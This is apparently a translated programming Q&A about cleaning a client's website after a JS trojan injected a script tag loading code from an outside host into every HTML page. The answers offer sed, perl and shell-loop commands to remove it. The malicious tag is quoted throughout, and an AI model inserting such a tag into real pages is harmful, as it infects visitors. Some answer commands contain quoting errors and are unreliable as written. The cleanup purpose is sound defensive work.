【问题标题】:Problem formatting a find with sed output使用 sed 输出格式化查找的问题
【发布时间】:2011-03-10 16:38:24
【问题描述】:

您好,我正在尝试为客户清除 js-trojan 的网站,它已添加:

<script src='http://nt02.co.in/3'></script> 到所有 html 页面。

由于手动清理的文件太多,我尝试了这样的查找:

find ./ -type f -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {} \;

问题是您不允许使用 sed 输出到输入。 所以我尝试做类似的事情:

find ./ -type f ! -iname "*.new" -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {}.new \;

也没有用,它输出了一个名为“{}.new”的文件...

关于如何正确执行此操作的任何提示?或者关于如何清理这个的其他解决方案?

【问题讨论】:

    标签: sed find grep exec


    【解决方案1】:

    我认为你让事情变得比他们需要的更复杂。特别是,您想使用 -i 标志,它允许您根据需要编辑文件。 你可能想要像

    sed -i '/<script src='http:\/\/nt02.co.in\/3'><\/script>/ d' *.html
    

    如果您觉得更舒服,也可以使用脚本,例如

    for f in "dir/*.html"  
    do 
        sed -i '/<script src='http:\/\/nt02.co.in\/3'><\/script>/ d' $f  
    done
    

    http://www.cyberciti.biz/faq/unix-linux-replace-string-words-in-many-files/

    【讨论】:

      【解决方案2】:

      未经测试:

      find . -type f -print0 | xargs -0 perl -i.nt02 -pe "s#<script src='http://nt02.co.in/3'></script># #g"
      

      【讨论】:

        【解决方案3】:

        @user379118 的回答对您来说可能并不完全清楚,但 -i 标志(或 --in-place)确实允许您使用 sed 进行就地编辑,可选择允许您创建原文件随你去,以防万一。

        【讨论】:

          【解决方案4】:

          感谢您的回答! 我确实喜欢这样:

          while read f
          do
              sed -i "s#<script src='http://nt02.co.in/3'></script># #g" "$f"
          done < list
          

          list 是一个包含文件路径的文件,生成如下:

          grep -irl "<script src='http://nt02.co.in/3'></script>" ./folder/ > list
          

          【讨论】:

            猜你喜欢
            • 1970-01-01
            • 1970-01-01
            • 2013-07-09
            • 1970-01-01
            • 1970-01-01
            • 1970-01-01
            • 1970-01-01
            • 1970-01-01
            • 2013-06-11
            相关资源
            最近更新 更多